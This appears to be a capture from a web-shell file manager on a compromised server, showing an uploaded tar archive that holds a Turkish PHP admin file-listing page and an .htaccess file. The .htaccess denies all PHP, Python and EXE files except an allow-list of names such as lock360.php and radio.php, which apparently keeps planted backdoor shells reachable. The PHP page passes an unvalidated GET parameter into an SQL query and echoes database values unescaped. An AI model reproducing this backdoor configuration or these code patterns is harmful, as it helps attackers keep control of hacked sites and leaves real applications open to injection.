Gestionnaire de fichiers - Editer - /home/par6413/public_html/images/upload/Dosyalar_v1.tar
Arrière
index.php 0000644 00000006022 15063760030 0006364 0 ustar 00 <?php require_once '../../include/connection.php'; require_once '../include/functions.php'; include_once '../include/head.php'; require_once '../include/menu.php'; require_once '../include/modul.php'; if(isset($_GET["page"])){ $page=$_GET["page"]; }else{ $page = 1; $page_number = 1; } ?> <body> <?php if($_SESSION["kullanici_yetki"] < 1){header("location:/");} ?> <div class="ui container" style="min-height:92vh; padding-top:25px;"> <div class="ui red segment"> <div class="ui two column grid"> <div class="column"> <h2 class="ui red header"><!--<h2 class="ui red header aligned right">--> <i class="fa fa-file-o"></i> <div class="content">Dosya Listesi</div> </h2> </div> <div class="column"> <a href="new/"> <h4 class="ui red header aligned right" style="padding-top:10px;"> <i class="fa fa-plus-circle"></i> <div class="content">Dosya Ekle</div> </h4> </a> </div> </div> <table class="ui celled table"> <thead> <tr> <th>Başlık</th> <th>Dosya</th> <th>Durum</th> <th>Sıra</th> <th></th> </tr> </thead> <tbody> <?php $number_of_per_page = 10; $start_from = ($page-1) * $number_of_per_page; $dosya = $conn->query("SELECT * FROM Dosyalar_v1 order by sira desc LIMIT {$start_from},{$number_of_per_page}"); if($dosya){ while($dosyalar = $dosya->fetch_assoc()){ echo "<tr>"; echo "<td>".$dosyalar["baslik"]."</td>"; echo "<td><a href=\"".$page_url."/files/".$dosyalar["dosya"]."\" target=\"_NEW\">".$dosyalar["dosya"]."</a></td>"; echo "<td>".$dosyalar["durum"]."</td>"; echo "<td>".$dosyalar["sira"]."</td>"; echo "<td>"; echo "<div class=\"ui three column grid\">"; echo "<div class=\"column\"><a href=\"delete/".$dosyalar["Id"]."\"><i class=\"fa fa-trash fa-lg\"></i></a></div>"; echo "</div>"; echo "</td>"; echo "</tr>"; } } ?> </tbody> <tfoot> <tr><th colspan="8"> <div class="ui right floated pagination menu"> <?php $slider_toplam = $conn->query("SELECT * FROM Dosyalar_v1"); $total_records=mysqli_num_rows($slider_toplam); $total_pages = ceil($total_records / $number_of_per_page); if($page != 1){ $pre_page = $page-1; echo "<a class=\"icon item\" href=\"?page=".$pre_page."\"><i class=\"fa fa-caret-left\"></i></a>"; } for ($i=1; $i<=$total_pages; $i++) { if($i == $page){ echo "<a class=\"item\" style=\"color:#ff0000;\"><b><u>".$i."</u></b> </a>"; }else{ echo "<a href=\"?page=".$i."\" class=\"item\">".$i."</a>"; } } if($total_pages != $page){ $next_page = $page+1; echo "<a class=\"icon item\" href=\"?page=".$next_page."\"><i class=\"fa fa-caret-right\"></i></a>"; } ?> </div> </th> </tr></tfoot> </table> </div> </div> <?php include_once '../include/food.php';?> <script> $( document ).ready(function(){ $('.ui.dropdown').dropdown(); $("#feed").sidebar({overlay: true}).sidebar('attach events','.ui.launch.button'); }); </script> </body> </html> .htaccess 0000644 00000000644 15063760030 0006346 0 ustar 00 <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>